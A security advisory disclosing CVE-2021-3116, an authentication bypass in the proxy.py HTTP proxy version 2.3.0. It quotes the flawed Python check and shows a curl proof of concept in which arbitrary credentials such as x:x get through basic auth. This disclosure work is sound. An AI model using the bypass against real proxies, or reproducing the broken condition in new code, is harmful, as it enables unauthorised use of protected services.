Andrea Cardaci — 10 January 2021
Discovered | 2021-01-09 |
Author | Andrea Cardaci |
Product | proxy.py |
Tested versions | 2.3.0 |
CVE | CVE-2021-3116 |
proxy.py is a feature-rich HTTP proxy server written in Python. Among the other things it allows to spawn a proxy server that enforces HTTP basic access authentication.
A recent refactoring introduced a logic bug that allows to bypass the proxy authentication.
The vulnerable code is located in proxy/http/proxy/auth.py:
def before_upstream_connection(
self, request: HttpParser) -> Optional[HttpParser]:
if self.flags.auth_code:
if b'proxy-authorization' not in request.headers:
raise ProxyAuthenticationFailed()
parts = request.headers[b'proxy-authorization'][1].split()
if len(parts) != 2 \
and parts[0].lower() != b'basic' \
and parts[1] != self.flags.auth_code:
raise ProxyAuthenticationFailed()
return request
The and
operators are wrong here, and it is enough to set one of its operands to False
to skip the challenge and bypass the authentication. A valid Proxy-Authorization
header (e.g., for user:password
) is in the form:
Proxy-Authorization: Basic dXNlcjpwYXNzd29yZA==
So len(parts)
is 2
, thus any valid header with any credentials works.
Start proxy.py
like:
$ proxy --basic-auth user:password
2021-01-10 19:25:31,183 - pid:73304 [I] load_plugins:334 - Loaded plugin proxy.http.proxy.AuthPlugin
2021-01-10 19:25:31,184 - pid:73304 [I] load_plugins:334 - Loaded plugin proxy.http.proxy.HttpProxyPlugin
2021-01-10 19:25:31,184 - pid:73304 [I] listen:113 - Listening on ::1:8899
2021-01-10 19:25:31,215 - pid:73304 [I] start_workers:136 - Started 8 workers
Trying to use the proxy without credentials correctly yields a proxy authentication error:
$ curl -I -x localhost:8899 http://example.com
HTTP/1.1 407 Proxy Authentication Required
Proxy-agent: proxy.py v2.3.0
Proxy-Authenticate: Basic
Connection: close
Content-Length: 29
But specifying any credentials (e.g., x:x
) allows the request to go through:
$ curl -I -x x:x@localhost:8899 http://example.com
HTTP/1.1 200 OK
Content-Encoding: gzip
Accept-Ranges: bytes
Age: 276321
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sun, 10 Jan 2021 18:31:28 GMT
Etag: "3147526947"
Expires: Sun, 17 Jan 2021 18:31:28 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (bsa/EB23)
X-Cache: HIT
Content-Length: 648